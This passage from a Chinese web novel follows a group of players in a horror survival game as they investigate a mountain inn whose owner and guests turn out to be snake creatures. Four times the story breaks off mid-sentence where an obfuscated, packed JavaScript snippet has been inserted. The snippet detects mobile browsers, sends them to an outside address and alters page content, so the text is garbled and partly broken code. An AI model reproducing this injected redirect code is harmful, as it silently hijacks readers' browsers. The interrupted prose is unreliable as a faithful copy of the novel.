“我知道的有五个。”白闽仰头望着天空,“除了屠宰场那个,剩下四个藏得很深。”她忽然压低声音,“听说有个长生者已经活了几千年,是第一批玩家。” 她拍了拍初与序的肩膀:“不过长生不代表不死,该挨刀还是会死。所以别担心,真碰上了那个老不死的,捅穿心脏照样完蛋。” 话音未落,远处传来急促的脚步声,火腿面包一马当前冲在最前面,油亮的表皮在路灯下反着光:“初与序!你还活着!” 它一个急刹车停在长椅前,身后跟着景明垂、随歌以及冬逢初。 “你们……”初与序话未说完,就被随歌的大嗓门打断。 “卧槽!这面包突然冲进D栋训练场,说你被屠宰场围殴了!”他夸张地比划着,“意哥在阁楼,我们连他都没来得及叫,抄家伙就冲过来了!” 景明垂将手搭在初与序的脉搏上:“还好,基本都是皮外伤,不重。” “回去涂一下药就行了。”初与序站起身,习惯性将手插进口袋,手指却摸了个空。她猛地转头,只见景明垂正淡定地把她的烟盒塞进自己口袋里。 “……” “不能抽烟。”景明垂面无表情。 她是怎么知道自己口袋里藏着烟的? 初与序挪到景明垂身边,眨了眨眼:“景明垂,还我。” 景明垂面无表情摇头。 冬逢初站在景明垂身后,悄悄从自己口袋里摸出他的烟盒,冲初与序晃了晃,示意她自己还有烟。 下一秒,景明垂的琴弦如闪电般从她手腕处窜出,精准卷走了冬逢初的烟盒。 “嗯?”冬逢初罕见地露出错愕的表情。 随歌在一边笑得幸灾乐祸:“哈哈哈哈活该!” 景明垂将两包烟都收好,转身就走:“走了,先去处理区拿回武器。” 火腿面包蹦到初与序肩上:“所以你独自一人跑去T区仓库,想验证的事情验证好了吗?” 初与序望着同伴们的背影,点了点头:“算吧。” 白闽从长椅上站起身,伸了个懒腰:“我也要回B栋啦,我们下次见。” 初与序点点头,跟上前方的同伴。火腿面包坐在初与序肩膀上,回头看了白闽一眼:“那个白闽到底是谁啊?怎么突然冒出来的?” “说是意哥的朋友。”初与序揉了揉太阳穴,“要去找意哥谈事,碰巧路过仓库。” “这也太巧了吧?”面包突然停下蹦跳,“她不是要去找江意吗?怎么又折返B栋了?” 初与序脚步一顿,两人对视一眼,都从对方眼中看到了同样的疑虑。初与序猛地回头,身后的街道空荡荡的,哪还有白闽的身影? “算了。”初与序收回目光,“先去拿武器吧。” 四人加一面包进入系统处理区武器存储室,C13正站在存储室门口,打着哈欠给几人办理武器领取手续。当初与序小声提到A12与屠宰场的勾结时,他无奈地摊手: “没办法,A12是高阶执行官,高阶执行官由管理员管理。”他压低声音,“除非你们能直接向永冬之城的管理员举报,否则谁也动不了他。” C13耸耸肩:“不过你们也别想着找管理员,没人知道他们在哪里。” 随歌伸手戳了戳火腿面包的“腰” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636642|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“喂胖面包,你没来永冬之城之前不是管理员那边的吗?不知道他们在哪里吗?” “我被赋予灵魂后,他们嫌弃我太吵,我一闭眼一睁眼就在永冬之城了!”面包委屈地蹦跶两下,“只知道他们的住处是用冰雪建造的,谁知道他们到底在哪!” 随歌揉了揉头发:“行行行,不知道就不知道吧。” “借一步说话。”初与序小声转向C13。C13点点头,按下口袋里的监听屏蔽器,和初与序来到了存储室角落,阴影笼罩着两人。 “妄主所在的地方,除了管理员和执行官,还有没有其他‘存在’?”初与序压低声音。 C13皱眉思索片刻,抬头看向初与序:“据我所知没有。”他顿了顿,“但妄主如果真想创造什么人来协助,谁也拦不住。” 话音未落,他的目光突然停在初与序脖颈上,脸上一变:“等等,你这里什么时候有伤了?” 初与序侧身避开他的视线,疤痕在昏暗的光线下若隐若现:“旧伤。” C13欲言又止,最终只是叹了口气:“小心点,最近妄主那边可能有什么新任务,或者下来了什么人,系统波动频繁,很多规则都不太正常。” 初与序点点头,盯着C13看了一眼,忽然又开口:“能不能把我弄到妄主那边。” “你疯了?!”C13差点被她吓死,一把将她拽到更暗的角落,手指都在发抖,“你知道有多少执行官因为试图接触妄主被直接格式化吗?这种话被听到,你的脑袋得被挂在处罚区示众!” 初与序平静地看着他:“所以,能办到吗?” “我哪有那个权限?”C13扬眉,“我连管理员的面都没见过,更别说妄主了……” “这样。”初与序想了想,开口道,“问你一个关于永冬之城的问题,你没回答上来,就答应我。” C13闻言点头,变得自信起来:“这个你随便问,我再怎么说也是永冬之城执行官,大部分信息都知道。” “永冬之城原名是什么?” C13:“……???” “你问这个啊……?”他张了张嘴,“这个…那个…呃…这是个好问题……” 初与序沉默地看着他。 C13被她盯得发毛,最终叹了口气:“我…我可以试着帮忙联系看看。”他无奈道,“但成功率连百分之一都不到,还得等很久……” 初与序勾起唇角:“多谢。” 四人拿着武器离开时,C13望着他们的背影喃喃:“见鬼了,我怎么也跟着这群疯子玩家搅和到一起了?” 124.蟒蛇旅馆 次日上午,D栋休息室内,两支混编队伍围坐在长桌旁,各自查看系统面板。 初与序点开自己的面板,一条猩红的副本通知消息映入眼帘: 【副本分配通知】 「副本名称:《蟒蛇旅馆》」 「参与时间:两小时后」 「参与玩家:3人」 “我也是《蟒蛇旅馆》。”对面的赵禾抬起眼皮,十岁小姑娘的脸上是与年龄不符的冷峻。 随歌正吸溜着草莓牛奶,笑嘻嘻道:“两个暴力输出分到一起,这回系统要担心它的副本场地了。” 江意问:“第三个队友是谁?” “上面没有写。”初与序关闭面板,“系统随机分配,可能是其余独行玩家。” “我们先来介绍一下各自的武器和技能吧。”回北开口提议道,她率先拿出自己的竹笛,笛子尾端系着紫色流苏:“音攻,范围控制。挺好用的,就是有点费嗓子。” 赵禾语气淡漠:“我没有固定武器,但攻击力可以随时暴增。” u谷抬起手,指间寒光一闪,三枚薄如蝉翼的刀片不知何时已夹在指缝中:“可以用来偷袭,见血封喉。” 向枝冥从袖中掏出一叠黄符纸:“用血或朱砂在上面画符咒就能用。” 安楚面上依旧带着笑容,他抬起手,掌心忽然浮现出一道半透明的八卦阵图:“道家法阵,可攻可守,就是耗蓝。” 向枝冥侧过头扫了他掌心的阵图一眼,冷笑一声。 “怎么?”安楚眉梢微挑,转向向枝冥,“向枝冥,嗓子不舒服?” “少在这假惺惺。”向枝冥冷眼看着他,“你那套骗骗外人还行,手上沾了多少条人命,自己数得清吗?” 安楚看了他几秒,收起笑容,张了张嘴:“事情不是你想的那…”但话到一半却又咽了回去,“…算了,你们继续。” 向枝冥抬手示意其余人听一下,随后站起身,来到安楚身边:“别啊,怎么不继续说了?”他俯下身,凑到对方耳边,用只有两人能听见的话说,“师门的事,你倒是提啊?” “不敢吗?这么多年了,我们还在为那件破事纠结,谁也没捞到好处……哦不对,你当然捞到好处了,你可是替你亲爱的家人报了血恨之仇啊。” “……向枝冥,你够了!”安楚站起身,脸色苍白地推开向枝冥,头也不回摔门而去。 随歌目瞪口呆:“他们俩什么情况?怎么吵起来了?” “日常,习惯就好。”回北耸了耸肩,摊开手,“他们俩三天一小吵,五天一大吵。” 向枝冥冷笑一声,重新坐到自己座位上,将符纸收到袖中。 “算鸟算鸟,都不容易。”随歌挥挥手,安抚向枝冥,“别生气啦,队友一场,说不准哪一天就见不到面了。” “见不到面更好。”向枝冥冷冷道。 随歌:“……” 赵禾扫了一眼墙上的挂钟,利落地站起身:“初与序,时间到了。” 初与序点头,与队友们简单道别后,转身刚要走,手腕却被冬逢初拉住。她回头,冬逢初轻声提醒:“注意安全。” 很少有人的副本时间在中午,永冬之城的车站此刻很冷清,站台上只有零星几个玩家。初与序刚踏上站台,就看到了那个熟悉的麻花辫身影。 白闽正靠在柱子边,脖颈前三凹处淡红色的红蝴蝶纹身在卫衣领口若隐若现。她在看到初与序的一瞬间愣了一下。 “巧啊。”白闽有些惊讶,“我的两个队友竟然是你们?” 初与序看了一眼停在一边的D019次列车,道:“副本《蛇蜕旅馆》。” 赵禾扫了两人一眼,率先踏上列车,另外两人跟着上了车。列车门缓缓关闭,将永冬之城阴冷的空气隔绝在外。 【尊敬的各位玩家您好,您搭乘的D019次列车即将出发,请配合工作人员妥善安置好行李,防止遗失。本次列车起点站:永冬之城;终点站:《蟒蛇旅馆》。接下来,我会为各位讲解副本背景设定:】 【在连面的深山之中,有一座年久失修的旅馆,传闻这里是一位隐士的居所,后来改坐旅店,接待过不少迷途的旅人。然而,近几十年来,关于这座旅馆的怪谈越来越多。】 【有人说,每当月圆之夜,旅馆附近会响起一阵诡异的笛声,那声音不似寻常乐器,反而像是某种活物的嘶鸣。有人说,他们曾在恍惚间看到一支刻满奇异纹路的竹笛,笛子的主人站在雾气中,。身形模糊,唯有那双眼睛在月光下泛着冷光……】 【主线任务:各位玩家需在深山旅馆中安全存活三天】 【副线任务:各位需调查旅馆的诡异传闻,查明真相。】 【祝各位存活愉快。】 “《蟒蛇旅馆》?”在前面用单手开车的J41摸了摸下巴。 “很危险?”白闽凑过去好奇地问道。 J41扫了她一眼,对于她的自来熟有点无奈:“也不是特别危险,但是存活率不到55%。上次我接的P区一支队伍,一人都没存活。” “哇!”白闽兴高采烈,“听起来很有趣,麻烦开快点,我想尽快去副本看看!” 另外三人:“……” 列车到站,三人走下车。 雾气浓得像拨不开的淤血,缠在三人裸露的皮肤上。初与序走在最前面,风衣下摆扫过湿漉漉的杂草,发出细碎的沙沙声。 “这雾好像不对。”她忽然停下脚步。 白闽搓了搓胳膊:“就是山里湿气重吧?我衣服都黏在身上了。” 赵禾没说话,左右看了看,继续迈步前行。 又走了约莫几十秒,雾气忽然淡了些,一座老旧的旅馆突兀地立在前方。是三层木质建筑,外墙爬满暗绿色的藤蔓,几扇窗户蒙着雾,模糊地映出他们的影子。门廊下挂着一盏锈蚀的铜灯,灯罩里透出昏黄的光,在雾气中晕开一圈暖色。 初与序抬头看了看天色,阴云密布,分不清具体时间,但应该已近中午。 下一秒,旅馆的门忽然“吱呀”一声开了。 门后站着一个年轻的男人,皮肤苍白,隐约可见皮下血管。他眉眼生得极好,唇边挂着温和的笑容,却莫名让人想起蛇类吐信时那一瞬的森然。 “欢迎光临。”他微微欠身,声音温润,“山里的雾气重,几位能平安找到这儿真是运气。” “我收回我在列车上的话,我想回去……”白闽站在初与序身后,咬牙道。而赵禾眯起眼睛,不动神色地打量着老板过分纤细的手腕。那皮肤在昏暗的光线下泛着不自然的冷光,仿佛从未晒过太阳。 三个跟着老板进入旅馆,出乎意料的,旅馆大厅竟出奇地热闹。三三两两的客人围坐在沙发旁低声谈笑,壁炉里的火劈啪作响。一个戴金丝眼镜的中年男人正对着棋盘皱眉,隔壁桌穿碎花裙的少女发出愉悦的笑声。 “生意不错。”初与序的视线扫过那些再普通不过的住客,最后落回老板脸上。 “托您的福。”老板打开登记簿,递给初与序,又歉意地开口,“但抱歉,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636643|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近住客多,只剩下两间房了。” 他将黄铜钥匙放在柜台:“一间大房,一间小房。” 白闽低头看了看身边的赵禾:“我和赵禾睡大房间吧。”她眨了眨眼,压低声音,“让小孩一个人睡,我怕她半夜偷偷练拳把墙打穿。” 赵禾面无表情地踩了她一脚。 白闽鬼哭狼嚎:“啊啊啊疼疼疼!错了姐!错了!” 初与序:“……” 她点了点头,伸手在柜台上拿过那把较小的钥匙。钥匙表面冰凉,像刚从冷柜里取出来。 老板领着三人走向二楼,走廊的地板随着脚步发出“嘎吱”声响,墙纸剥落处露出霉变的墙体。他将她们领到相邻的两扇门前,便欠身告退:“午餐半小时后开始,请务必准时。” 大房间意外地宽敞窗户正对着一片雾蒙蒙的山林。而小房间在尽头,初与序推门进入。 里面放着一张单人床、掉漆的床头柜、一面老旧的穿衣镜。她的目光一寸寸扫过房间,最终停在床底。 初与序走过去蹲下身,用纸巾包住手指,轻轻擦过木质地板,一抹暗褐色的痕迹在灰尘下若隐若现。她轻轻闻了一下,铁锈味早已消散,但不难看出是血,而且已经干涸很久了。 她将纸巾收起,又走到墙角暖气片后面。只见那里藏着半片蛇蜕,内侧沾着疑似粘液的东西。 楼下忽然传来住客们的大笑,初与序面色不变,拖来一边的板凳挡住蛇蜕。 房门被敲响,白闽探进来一个脑袋:“走啊,下楼看看?” 初与序点头,跟着两人下楼。旅馆大厅比先前更热闹了些,壁炉的火光将人影拉长,在墙上扭曲成怪异的形状。 白闽扫视了一圈,目光很快落在角落一桌打牌的旅客上。那是几个中年男人,面色红润,看起来像是常客。 “介意我们凑个热闹吗?”她自来熟地拉开椅子坐下,笑得毫无防备。 其中一个大胡子男人哈哈一笑,推过来一杯琥珀色的酒:“小姑娘胆子不小啊,敢住这深山老林的旅馆。” 白闽接过酒杯,没喝:“哦?这地方有什么问题吗?” “问题?”另一个瘦削的男人压低声音,眼神往柜台后的老板方向瞟了瞟,“最近几年有传闻,总有人住进来就再没出现过。行李还在,人没了。” 初与序站在白闽身后,双手抱臂,手指无意识地在胳膊上画着圆。 “而且,”大胡子凑近,“每到月圆之夜,旅馆所有门窗都会从外面上锁。第二天早上,准少几个人。” 白闽眼睛微微睁大,压低声音追问:“那你们就不怕下一个失踪的是自己?” 大胡子哈哈大笑,拍了拍大腿:“小姑娘,这你真信?”他灌了口酒,“要是真的,我们几个老油条还敢年年在这儿喝酒打牌?” 瘦削男人也嗤笑一声:“去年还有个作家专门来取材,住了半个月屁事没有,最后写了本烂俗恐怖小说。” 白闽没说话,只是盯着他们的脸看。 “不过嘛…明天正好是元宵节,也是月圆之夜。你们要是不信,亲自验证一下呗?”大胡子眼里闪过一丝促狭,“看看半夜会不会有人来锁门,会不会有人消失?” 赵禾突然开口,声音冷静:“你们试过?” 瘦削男人清了清嗓子:“当然没有!谁大半夜不睡觉折腾啊?”他的眼神飘向窗外渐暗的天色,又很快收回,“总之,爱信不信。” 白闽悄悄探出头,朝初与序和赵禾眨了眨眼睛,比了个抹脖子的动作。 125.蟒蛇旅馆 大厅的座钟忽然敲响,沉闷的钟声在木质结构中回荡。所有住客纷纷起身,椅子腿在地板上刮出刺耳的声响。 “午饭时间到了。”大胡子咧嘴一笑,“今天有肉呢,你们可别错过。” 初与序和另外两人对视一眼,选择跟上。 餐厅里摆着一张足以容纳二十多人的长桌,铺着洗得发白的亚麻桌布。老板坐在主位,苍白的手指交叉抵在下巴前,微笑着注视着鱼贯而入的住客们。 桌上摆着几盘蔫黄的青菜、一盆泛着油光的炖菜,以及几大盘深褐色的肉块。肉质纤维粗大,表面泛着诡异的油亮光泽,散发着若有若无的腥气。 “今天的肉类很新鲜。”老板在主位上轻声说,“特意为各位准备的。” 初与序拿起筷子,夹起一块肉,在鼻尖前停顿片刻,低声说:“蛇肉。” “啥?”白闽立刻放下筷子,“国家明令禁止食用蛇类野生动物。” 旁边一个戴毛线帽的老头嗤笑一声:“深山老林的,讲究那么多干嘛?有肉吃就不错了。”说着,他叉起一大块塞进嘴里,咀嚼时发出声响,“老板亲自抓的,新鲜着呢。” 初与序托着下巴,目光重新回到餐桌上的肉上。那些肉块被炖煮得软烂,但仍能看出不自然的纹路。有的肉段上还粘连着细小的、半透明的筋膜,在烛光下泛着珍珠般的色泽。 “这蛇不小啊。”她对面的秃顶男人咂着嘴,用叉子戳起一段环状的肉,“瞧着肉圈,怕是比人腿还粗。” “……”白闽低头看了看自己的腿,胃部一阵翻涌。 赵禾突然碰了身边两人一下,两人顺着她的视线看去。只见餐桌尽头坐着一个瘦弱的女人,她的餐盘里堆满了肉块,却一块都没有动。女人的手指颤抖着,指甲缝里满是黑红色污垢。 当她注意到三人的目光时,她突然露出一个诡异的微笑,用口型无声地说:“月圆夜……” 初与序微微皱眉,因为视力问题,看不清女人的口型,侧头问白闽:“她说什么?” 白闽盯着女人蠕动的嘴唇,斩钉截铁地说了四个字: “鱼香肉丝。” 初与序:“???” 赵禾:“???” 餐桌上突然陷入诡异的沉默,正在啃肉的人停下了动作,连主座的老板都明显僵了一下。 “她说‘月圆夜’。”赵禾面无表情地补充。 白闽恍然大悟:“但她的口型真的很像在点菜嘛!而且你们不觉得在这种地方提到‘鱼香肉丝’特别有喜剧效果吗?” 对面的秃顶男人突然哈哈大笑:“小姑娘真有意思!要不要尝尝我们这儿的招牌菜?”他推来一盘黏糊糊的炖肉,“虽然不是鱼香肉丝,但保证让你能回味无穷。” 白闽看到那盘“招牌菜”里,浮着一片指甲大小的鳞片。她立刻把盘子推回去:“不必了不必了,我们吃素。” 老板始终没有动筷,他坐在主位上,微笑着注视这一切,瞳孔在昏暗的餐厅内泛着冷光。 初与序掀起眼皮,刚好对上他的视线。 老板唇角微扬,露出一个恰到好处的微笑,苍白的面容在烛光下显得病态。初与序礼节性地点了点头,随即垂眸,避开他的眼睛。 然后下一秒—— “怎么吃素呢?” 一道低柔的嗓音毫无预兆地在她耳边响起,初与序猛地回头。 老板不知何时出现在她的右侧身后,近得几乎贴在她的椅背上。他的手指搭在她的肩膀上,冰凉得像死人。指尖若有若无地擦过她颈动脉附近的疤痕,像是在丈量着什么。 初与序转头看向主座,那里此刻空无一人。 餐厅里的喧闹声依旧,其他食客似乎完全没注意到会瞬移的老板,仍旧大快朵颐地吞咽着盘中的肉块。 初与序微微侧头,平静地看着老板:“个人习惯。” “真可惜。”老板低笑了一声,“我们今晚的特色菜,可是专门为贵客准备的。” 说完,他直起身,若无其事地走向主位,仿佛刚才的一切都只是幻觉。 白闽瞪大眼睛,压低声音:“他什么时候过来的?!” 赵禾的双手已经攥紧了拳头,随时打算给这人来一拳。 初与序垂眸,看向自己面前的餐盘。原本只盛着白菜的盘子,边缘不知何时多出了一小块深色的肉,正缓缓渗出血水。 当最后一块肉被分食殆尽,座钟突然敲响了一点钟声。所有住客放下餐具,擦了擦嘴。 “感谢各位赏光。”老板起身,目光扫过三人几乎未动的餐盘,“希望下一次用餐,各位都能有更好的胃口。” 住客们三三两两散去,有的回到房间,有的聚在大厅继续闲聊。初与序站起身,低声对白闽和赵禾说:“出去看看。” 三人不动声色地离开餐厅,穿过大厅时,柜台后的老板头也不抬地说了句:“山里雾气重,小心迷路。”他的声音温和,却莫名让人脊背发凉。 推开旅馆大门,山间的冷风扑面而来,外面的雾气比来时更浓了,像一层湿冷的纱幔笼罩着整座山林。白闽搓了搓手臂:“这雾怎么感觉比早上还重?” “别走散。”初与序简短地提醒。 三人沿着旅馆外围缓缓探索,潮湿的泥土上脚印凌乱,有深有浅,像是许多人曾在此徘徊。赵禾蹲下身,手指掠过一道拖拽的痕迹。痕迹尽头,几片脱落的蛇鳞般埋在泥里,泛着不自然的青光。 白闽抬头看向旅馆背面,忽然开口:“你们看。” 二楼最角落的窗户,正是初与序的小房间,那里的窗框上缠绕着几圈细长的锁链,锈迹斑斑,像是很久没人动过,却又诡异地没有一丝灰尘。 “月圆夜锁门关窗。”初与序低声重复之前男人的话,“应该指的就是这种。” 身边的赵禾忽然转过身,目光落在旅馆西侧。顺着她的目光看去,那里有一间低矮的木屋,门缝下渗出暗红色的液体。 走近后,一股混合着腐肉和化学药剂的气味扑鼻而来。木屋门上挂着生锈的铁锁,但锁扣已经变形,仿佛曾被什么东西从内部猛烈撞击过。 初与序拔出腰间短刀,撬开变形的锁扣。木门发出吱呀声,缓缓打开。 昏暗的室内,数十条剥了皮的蛇尸悬挂在房梁上,有些还在滴落浑浊的黏液。墙角堆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675031|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个鼓胀的麻袋,其中一个袋口松开,露出一截苍白的人类指骨。 “这是……”白闽扬起眉毛。 初与序走进木屋,鞋子踩在地板上,发出咯吱咯吱的声响。她这才发现地上铺着一层厚厚的粉末,像是某种干燥剂,走一步留下一个鞋印。 “你留下鞋印了。”赵禾站在门口,抱臂说道,“如果有心之人发现,小心被灭口。” 初与序点点头,检查着最近的一条蛇尸,用刀尖轻轻拨开蛇嘴:“鳞片排列方式不对,而且牙齿结构像哺乳动物,不是普通的蛇。” 赵禾踢了踢角落里的麻袋:“这些袋子里面装的尸体?” 白闽强忍恶心凑近,发现每个麻袋上都用黑笔标注着日期,最近的一个是农历七月十五,即中元节,也被称之为“月圆之夜”。 三人沉默地对视一眼。窗外,树影婆娑,旅馆的轮廓在午后的阳光下投下长长的阴影,隐约传来住客们模糊的笑声。 “继续查。”初与序走出木屋,“旅馆后面还有一片区域。” 她们轻轻带上门,沿着旅馆斑驳的外墙继续深入。后院的杂草长得比人还高,在风中沙沙作响。 走在最前面的白闽忽然停住,她伸手指向地面。草丛中有一道明显的拖拽痕迹,草茎断裂处渗出暗绿色的汁液,痕迹尽头消失在旅馆后墙的一个半地下入口处。 赵禾蹲下身,观察着地面拖痕:“痕迹很新,不超过两小时。”她抬头看向那个黑洞洞的入口,“有人在搬运东西。” 白闽从面板里拿出她的武器,一条紫色长鞭:“要进去看看吗?” 初与序沉默地盯着黑洞洞的入口,深吸一口气:“我就不进去了。” “为啥?” “这里是深山,有虫子。” 白闽和赵禾:“……” “你竟然怕虫子?”白闽惊讶道,随即忍不住笑道,“没看出来啊哈哈哈哈。” 初与序无奈地退后几步,示意两人下去。赵禾率先向前走。地下入口的木门虚掩着,她直接推开。台阶向下延伸,消失在黑暗中。 “我带了手机。”白闽调出手电功能,冷白的光束刺破黑暗。台阶上布满黑色污渍,像是干涸的血迹混合着某种黏液。 两人屏息走下台阶,地下室很宽敞,天花板垂下蛛网般的电线,几个裸露的灯泡发出昏黄的光。墙角堆放着几个铁笼,笼门扭曲变形,像是被巨力从内部破坏。 光束突然照到地面上一道蜿蜒的痕迹,应该是某种大型爬行动物蜕下的皮,在灯光下泛着诡异的青光。 赵禾忽然看向右侧:“谁?” 阴影中,一个佝偻的身影正在翻找货架,听到动静猛地转身。是那个午餐时戴毛线帽的老头,他的嘴角还沾着午饭时的油渍,手里抓着一块生肉。 “你们不该来这里。”老头的声音沙哑,眼睛在昏暗的光线下异常明亮。 白闽盯着老头咧开的嘴,原本人类的臼齿正在以肉眼可见的速度变尖、拉长。 老头发出咯咯的笑声,手中的生肉啪嗒掉在地上。他的脊椎开始不自然地扭曲,皮肤下有什么东西在蠕动:“月圆夜,快到了…” 126.蟒蛇旅馆 白闽握紧紫鞭,正要抵老头脖子上逼问到底是怎么一回事。 下一秒,老头的脖子突然向后折成不可能的角度,整个身体像断线的木偶般瘫软在地。他的皮肤迅速干瘪下去,仿佛有什么东西正从内部吸食他的血肉。 从他长大的嘴里,一条青黑色像蛇信缓缓探出,紧接着是两颗滴着毒液的尖牙。 赵禾原地不动,始终死死盯着那个正在“蜕皮”的老头,两人对视一眼,默契地快速退向楼梯。 就在他们踏上第一级台阶时,地下室里突然响起此起彼伏的“嘶嘶”声。货架后的阴影里,无数双泛着冷光的竖瞳接连亮起,铁笼开始剧烈摇晃。 “快走!”白闽甩出鞭子,抽向地面,炸开的鞭响在密闭空间里震耳欲聋。两个转身冲向楼梯,身后传来重物坠地的闷响和鳞片摩擦地板的沙沙声。 赵禾最后一个退出地下室,反手抄起一根硬木棍卡在门缝上。白闽立即会意,紫鞭如灵蛇般缠上门把手,两人合力将沉重的木门死死拉上。门内传来“砰”的一声闷响,整扇门都震动了一下。 “怎么了?”初与序站在门口外。 “里面有个老头。”赵禾急促地回答,“锁呢?” 白闽从麻花辫上抽出一根皮筋,将里面的铁丝取出,三两下将门锁缠住:“撑不了多久,先离开这里。” 三人快步穿过杂草丛生的后院,直到回到旅馆主楼附近才放缓脚步。白闽的紫鞭仍紧握在身后:“那个老头,他在变异?” 赵禾脸色凝重:“是的。那些笼子,我猜是给住客准备的。” 初与序突然看向二楼窗户,在窗帘的缝隙间,几张苍白的脸正默默注视着他们,又很快隐入黑暗。 三人走向旅馆大门时,身后传来地下室方向的一声巨响,像是有什么重物撞开了那扇脆弱的木门。他们没有回头,推开了旅馆大门。 大厅的壁炉已经烧得正旺,火光在墙壁上投下摇曳的影子。住客们三三两两围坐,低声交谈。 角落里,一位须发皆白的老先生坐在摇椅上,膝盖上摊着一本破旧的羊皮册子。他的眼睛浑浊泛黄,像是蒙着一层薄雾,嗓音沙哑却带着某种奇异的吸引力。 “你们知道这座山的传说吗?”他缓缓开口,周围的住客立刻安静下来,连呼吸都放轻了。 白闽拉着赵禾挤进人群,初与序则靠在墙边,扫视着四周人群。 老先生的身影像是从很远的地方传来:“很久很久以前,这座深山地下,盘着一条上古巨蛇。它不是普通的蛇,而是活了千年的怪物,鳞片如蛇,毒牙似刀,连山里的猛兽见了它都要绕道走。” “某一天,有个胆大包天的猎户,趁巨蛇冬眠时,剖开了它的脊背,取走了最中央的一节骨头。” 他的身影忽然压低:“那节骨头被制作成了笛子,一根刻满蛇鳞纹路的骨笛。笛声一响,活人失魂,亡魂被困。” 大厅里的温度似乎骤然下降,白闽不自觉地搓了搓手臂,赵禾则盯着老先生的手指,他的指甲泛着不自然的青灰色。 “活人听到笛声,会变得眼神空洞。”老先生继续道,“像梦游一样跟着吹笛人走,任人摆布。” “那亡魂呢?”一个住客问。 “亡魂更惨。”老先生咧嘴一笑,“它们会被笛声束缚,无法超生,只能永远跟在吹笛人身后,像一群无家可归的影子。” “而那个吹笛人,总是在月圆之夜出现。” 壁炉的火光忽明忽暗,将他的脸映得阴晴不定。 “有人说,”他继续道,“当月亮升到最高处时,吹笛人的皮肤会浮现出蛇鳞般的纹路,眼睛变成竖瞳,舌头分叉,就像那条上古巨蛇一样。” 初与序的目光落在老先生脚下,摇曳的火光中,他的摇椅投下清晰的阴影,可他却没有影子。 “活人和亡魂排成长列,跟着笛声走进深山。”他的语调变得飘忽,“从此再没有人见过他们,除了吹笛人自己,没人知道他们去了哪里。” “那……有人见过那条巨蛇吗?”一个住客颤抖着问。 老先生缓缓摇头:“没有活人见过,或者说……见过的人,都没能回来讲述它的模样。” 初与序了然,既然如此,那么他所说的“胆大包天的猎户”要么与蛇达成了什么交易,要么便不是活人,或者不算真正的活人。 她的目光从老先生身上移开,耳边忽然捕捉到一丝异响。 “窸窣窸窣——” 像是某种细长的生物正贴着二楼走廊的地板游走,鳞片蹭木板的声音几乎听不见。趁着众人沉浸在老先生的诡异故事中,她悄无声息地退到楼梯拐角,短刀握在掌心里。 二楼走廊比白天更阴森,昏黄的壁灯投下光晕。尽头那扇窗户外,惨白的月光将树影扭曲成张牙舞爪的形状。方才的声音似乎消失了,但地板上留下一样东西。 一条完整的蛇蜕,从楼梯口一直延伸到初与序的房间门前。 她蹲下身,刀尖挑起蛇蜕。蛇皮足有成人手臂粗细,内侧黏附的透明黏液尚未干涸。而蛇蜕的头部位置竟依稀呈现出一张人脸的轮廓,仿佛有什么东西是从人类口腔中蜕皮而出。 而此刻楼下,住客们的讨论还在继续,但白闽的注意力却被另一种气味拽走了。 “你闻到了没?”她悄悄捅了捅赵禾,“像是什么东西烂透了。” 赵禾没说话,但眉头已经皱了起来,她点点头。两人对视一眼,借着去洗手间的借口溜出了大厅,顺着那股愈发浓烈的腐臭味,一路摸到了厨房。 推开门的下一秒,气味猛地撞了上来。白闽差点干呕出声,赶紧捂住口鼻。 厨房里点着一盏油灯,昏黄的光线下,老板正背对着她们,站在砧板前切着什么。听到动静,他回过头,苍白的脸上挂着温和的笑:“你们饿了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675032|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他的皮肤几乎透明,但除此之外,没有任何异常。 白闽强忍着恶心,指向角落里堆着的几大块暗红色的肉块:“老、老板,那是啥肉啊?” 老板的刀停在半空,他转头看了一眼,慢吞吞解释:“用古法熏制,味道是重了些,但很滋养。”他用刀尖挑起一块递过去给两人看,肉块表面布满蜂窝状的孔洞,正渗出液体。 